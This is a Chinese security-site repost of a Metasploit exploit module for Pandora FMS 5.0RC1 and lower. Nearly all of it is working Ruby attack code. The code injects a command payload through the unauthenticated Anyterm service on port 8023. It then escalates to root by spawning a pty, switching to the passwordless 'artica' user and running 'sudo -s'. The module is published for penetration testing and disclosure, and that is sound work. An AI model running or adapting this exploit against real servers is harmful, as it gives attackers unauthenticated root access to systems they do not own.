首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Pandora FMS Remote Code Execution
来源:metasploit.com 作者:xistence 发布时间:2014-02-10  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Pandora FMS Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
        It will leverage an unauthenticated command injection in the Anyterm service on
        port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
        the user "artica" is not assigned a password by default, which makes it possible to su
        to this user from the "pandora" user. The "artica" user has access to sudo without a
        password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
        and lower force a password for the "artica" user during installation.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
      'References'      =>
        [
        ],
      'Payload'        =>
        {
          'BadChars' => "",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python',
            }
        },
      'Platform'        => ['unix'],
      'Arch'            => ARCH_CMD,
      'Targets'         =>
        [
          ['Pandora 5.0RC1', {}]
        ],
      'Privileged'      => true,
      'DisclosureDate'  => "Jan 29 2014",
      'DefaultTarget'   => 0))
  
    register_options(
      [
       Opt::RPORT(8023),
       OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
      ], self.class)
  end
  
  def on_new_session(client)
    print_status("#{peer} - Trying to escalate privileges to root")
    [
      # ignore SIGHUP so the server doesn't kill our root shell
      "trap '' HUP",
      # Spawn a pty for su/sudo
      "python -c 'import pty;pty.spawn(\"/bin/sh\")'",
      # Su to the passwordless "artica" account
      "su - artica",
      # The "artica" use has sudo rights without the need for a
      # password, thus gain root priveleges
      "sudo -s",
    ].each do |command|
      vprint_status(command)
      client.shell_write(command + "\n")
    end
  
    super
  end
  
  def check
    # Check version
    print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway")
  
    res = send_request_cgi({
     'method' => 'GET',
     'uri'    => normalize_uri(target_uri.path, "anyterm.html")
    })
  
    if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
      print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
      return Exploit::CheckCode::Detected
    end
  
    return Exploit::CheckCode::Safe
  end
  
  def exploit
    print_status("#{peer} - Sending payload")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "/anyterm-module"),
      'vars_post'   => {
        'a'     => "open",
        'p' => "`#{payload.encoded}`"
      }
    })
  
    if !res || res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Asseco SEE iBank FX Client 2.0
·Android Browser and WebView ad
·OneHTTPD 0.8 - Crash PoC
·Inteno DG301 Remote Command Ex
·VLC 2.1.2 (.asf) - Crash PoC
·XnView 1.92.1 Command-Line Arg
·Bandizip 3.09 Crash Proof Of C
·Apache Struts Developer Mode O
·Kloxo SQL Injection / Remote C
·SkyBlueCanvas CMS Remote Code
·Windows TrackPopupMenuEx Win32
·Apache Tomcat Manager Code Exe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved